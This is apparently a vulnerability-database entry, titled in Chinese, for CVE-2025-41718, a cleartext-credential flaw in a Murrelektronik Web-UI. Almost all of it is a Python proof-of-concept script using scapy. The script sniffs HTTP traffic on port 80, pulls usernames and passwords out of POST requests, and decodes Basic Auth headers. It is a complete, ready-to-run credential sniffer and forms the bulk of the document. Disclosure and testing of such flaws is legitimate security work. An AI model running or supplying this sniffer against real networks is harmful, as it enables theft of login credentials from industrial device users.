CVE-2025-41718 Murrelektronik产品明文传输敏感信息漏洞

#!/usr/bin/env python3 # CVE-2025-41718 - Murrelektronik Cleartext Credential Transmission PoC # This PoC demonstrates how an attacker can capture cleartext credentials # transmitted between a client and the vulnerable Web-UI. from scapy.all import sniff, TCP, Raw, IP import re import sys TARGET_PORT = 80 # Default HTTP port for the Web-UI INTERFACE = "eth0" # Network interface to sniff on def extract_credentials(packet): """Extract HTTP POST credentials from captured packets.""" if packet.haslayer(Raw) and packet.haslayer(TCP): payload = packet[Raw].load.decode('utf-8', errors='ignore') # Check for HTTP POST request containing login credentials if "POST" in payload and "password" in payload.lower(): print("\n[+] Captured cleartext credentials!") print("=" * 60) # Extract username and password fields user_match = re.search(r'(?:user|username|login|email)=([^&\r\n]+)', payload, re.IGNORECASE) pass_match = re.search(r'(?:pass|password|pwd)=([^&\r\n]+)', payload, re.IGNORECASE) if user_match: print(f"[Username]: {user_match.group(1)}") if pass_match: print(f"[Password]: {pass_match.group(1)}") # Extract Authorization header if present (Basic Auth) auth_match = re.search(r'Authorization:\s*Basic\s+([A-Za-z0-9+/=]+)', payload, re.IGNORECASE) if auth_match: import base64 decoded = base64.b64decode(auth_match.group(1)).decode('utf-8', errors='ignore') print(f"[Basic Auth Decoded]: {decoded}") print("=" * 60) print(f"\n[Full HTTP Request]:\n{payload[:500]}") def main(): print(f"[*] CVE-2025-41718 PoC - Cleartext Credential Sniffer") print(f"[*] Sniffing on interface: {INTERFACE}") print(f"[*] Filtering HTTP traffic on port {TARGET_PORT}") print(f"[*] Waiting for cleartext login credentials...\n") try: sniff(iface=INTERFACE, filter=f"tcp port {TARGET_PORT}", prn=extract_credentials, store=0) except KeyboardInterrupt: print("\n[*] Sniffer stopped.") sys.exit(0) if __name__ == "__main__": main()